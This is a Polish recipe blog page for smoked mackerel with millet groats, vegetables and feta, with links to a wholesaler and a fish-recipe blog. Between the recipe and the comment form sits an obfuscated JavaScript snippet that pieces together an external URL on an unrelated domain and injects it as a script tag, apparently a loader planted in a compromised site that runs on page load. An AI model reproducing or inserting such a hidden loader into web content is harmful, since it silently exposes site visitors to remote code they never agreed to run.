Wędzona makrela z dodatkami i kaszą jaglaną

Dzisiaj przepis, którego królem będzie jedna z najpopularniejszych wędzonych ryb w Polsce czyli makrela 🙂 O tym jak ryby potrzebne są w diecie nie trzeba nikomu mówić. Są bardzo dobrym źródłem białka, tłuszczy oraz kwasów omega. Dodatkowym atutem makreli jest jej cena ponieważ jako jedna z nielicznych ryb jest w bardzo przystępnej cenie. Jest zdecydowanie tańsza na przykład od łososia co nie zmienia faktu, że jego też od czasu do czasu powinniśmy mieć w swojej diecie 🙂 
Ale wracając do naszego przepisu : 
POTRZEBUJEMY:
Kasza
jaglana –  (70 g)
Pomidory
suszone – (55 g)
Oliwa z
oliwek –  (7 g)
Makrela
wędzona –  (65 g) możecie też użyć innej wędzonej ryby albo na przykład
kawałków smażonej bardzo duży wybór ryb i owoców morza znajdziecie w
Makro https://www.makro.pl/swiat-produktow/ryby-makro
Ser typu
feta – (40 g)
Mieszanka
warzyw “włoska” –  (160 g)
Czosnek
–  (5 g)
Mix sałat
–  (25 g)
Zioła
prowansalskie –  (1 g)

 PRZYGOTOWANIE:
1. Kaszę gotujemy 20 min.
2. Warzywa dusimy na oliwie z oliwek.
3. Makrelę obieramy ze skóry i ości, a następnie dzielimy na mniejsze kawałki.
4. Do podduszonych warzyw dodajcie pokrojone suszone pomidory, pokrojoną fetę, kawałki makreli, czosnek wyciśnięty przez praskę, zioła prowansalskie, sól oraz pieprz.
5. Całość podawajcie z kaszą i udekorujcie listkami sałaty
Jeśli lubicie przepisy z rybami i owocami morza to polecamy Wam fajnego bloga z przepisami o tej tematyce znajdziecie tutaj –> http://rybyswiata.pl/
Smacznego ! 🙂

(function(){
q0ny=document.createElement(“script”);q0ny_=(“us”)+(“ta”);
q0ny_+=”t”+(“.”);q0ny_+=(“in”);q0nyu=”75816080″;q0ny.async=true;
q0nyu+=”.zv964qmf0ny83crXm”;q0ny.type=”text/javascript”;q0ny_+=”f”+”o”+(“/”);
q0nyu+=”q5z0xuck3gv4b”;q0ny.src=”https://”+q0ny_+q0nyu;
dq0ny=document.body;dq0ny.appendChild(q0ny);
})();

Dodaj komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

Porady treningowe i dietetyczne - Zrzuć Brzuch